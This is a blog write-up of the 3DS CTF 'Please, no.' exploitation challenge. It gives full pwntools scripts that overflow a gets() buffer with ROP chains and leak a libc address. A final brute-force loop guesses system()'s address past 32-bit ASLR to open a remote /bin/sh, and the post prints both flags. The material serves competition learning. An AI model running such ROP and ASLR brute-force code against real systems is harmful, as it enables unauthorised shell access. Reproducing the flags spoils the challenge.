English [3DS CTF] [Exploit 300 – Please, no.] Write up

Description

[EN]
This time the programmer did a better job to hid his flag. But the problem still: It’s vulnerable. Can you obtain the flag?
Send to 209.190.1.131 9003
NOW WITH SECRET BONUS!

[PT-BR]
Dessa vez o programador caprichou um pouco mais na hora de esconder sua flag. O problema que continua vulneravel. Consegue extrair a flag?
Envie para 209.190.1.131 9003
AGORA COM BONUS SECRETO!

Solved by 32 teams
Bonus solved by 5 teams

binary

Resolution

This is a pretty simple challenge, we wanted to write about the bonus part but we might as well give a write-up for the first part.
We have a standard binary:

[*] '/home/laxa/Documents/Repos/Challenges/CTF/3DS2k16/Please_no/please-no'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

The main is just a simple gets(bufonStack), so we can ROP.
A given set of function is given for us to grab the flag, so we end up with the following script:

#!/usr/bin/env python2

from pwn import *

###

b = ELF('please-no')
pr = 0x080483c9 #: pop ebx ; ret
pppr = 0x08048601 #: add esp, 8 ; pop esi ; ret

###

r = remote("209.190.1.131", 9003)

ROP = "A" * 20
ROP += p32(0x8048690)
ROP += p32(pppr)
ROP += p32(0x1B0B0C41)
ROP += p32(0xAE13374E)
ROP += p32(0xdeadbeef)

ROP += p32(0x8048650)
ROP += p32(pr)
ROP += p32(0xB0B01337)
ROP += p32(0x8048590) # open file and output to stdout
ROP += p32(b.symbols['exit'])

r.sendline(ROP)
print r.recvall()

Now for the bonus part!
We can’t really tell why, but even with a newline terminated string, the output wasn’t correctly flushed. The only way to flush was to call exit(). Given the fact was the binary is a 32 bits one, the entropy for the libc randomization by ASLR is only a few bits (16 bits according to wikipedia), given a fixed system address, we have 1 chance on 65536 to get it right, that’s not much!
So we did the exploit in 2 parts, first one we leaked an address with the following ROP:

ROP += p32(b.symbols['printf'])
ROP += p32(pppr)
ROP += p32(bss)
ROP += p32(bss)
ROP += p32(bss)
ROP += p32(b.symbols['exit'])

ROP += p32(b.symbols['strcat'])
ROP += p32(pppr)
ROP += p32(bss)
ROP += p32(0x80487d3)
ROP += p32(0xdeadbeef)

ROP += p32(b.symbols['strcat'])
ROP += p32(pppr)
ROP += p32(bss)
ROP += p32(0x8048f64)
ROP += p32(0xdeadbeef)

ROP += p32(b.symbols['printf'])
ROP += p32(pppr)
ROP += p32(bss)
ROP += p32(b.symbols['got.printf'])
ROP += p32(0xdeadbeef)
ROP += p32(b.symbols['exit'])

With that, we have a randomized libc address: 0xf75bdf30
We now identify the libc using libc database => archive-glibc (id libc6_2.24-3ubuntu1_i386)
And we calculate system address => 0xf75af020

And then we bruteforce with this script:

#!/usr/bin/env python2

from pwn import *

###

b = ELF('please-no')
pr = 0x080483c9 #: pop ebx ; ret
pppr = 0x08048601 #: add esp, 8 ; pop esi ; ret
bss = 0x0804a555

###

while True:
    r = remote("209.190.1.131", 9003)

    ROP = "A" * 20
    ROP += p32(b.symbols['gets'])
    ROP += p32(pr)
    ROP += p32(bss)
    ROP += p32(0xf75af020) # system
    ROP += p32(pr)
    ROP += p32(bss) # /bin/sh

    r.sendline(ROP)
    r.sendline("/bin/sh\x00")
    try:
        print r.recvline(timeout=5)
    except EOFError:
        print "Except"
        r.close()
        continue
    r.interactive()

It takes a short amount of time to get a shell (few minutes).

Flag is: 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}
Bonus flag is: 3DS{fb1d92953253c7d79b50fbe1c0ca8abd}

4 thoughts on “[3DS CTF] [Exploit 300 – Please, no.] Write up”

    1. Thanks for pointing that out, your gist has 404 :(.
      But the real problem is, why printf does’nt flush when appending a newline ? That’s also bothering me in that case.

Leave a Reply

Your email address will not be published. Required fields are marked *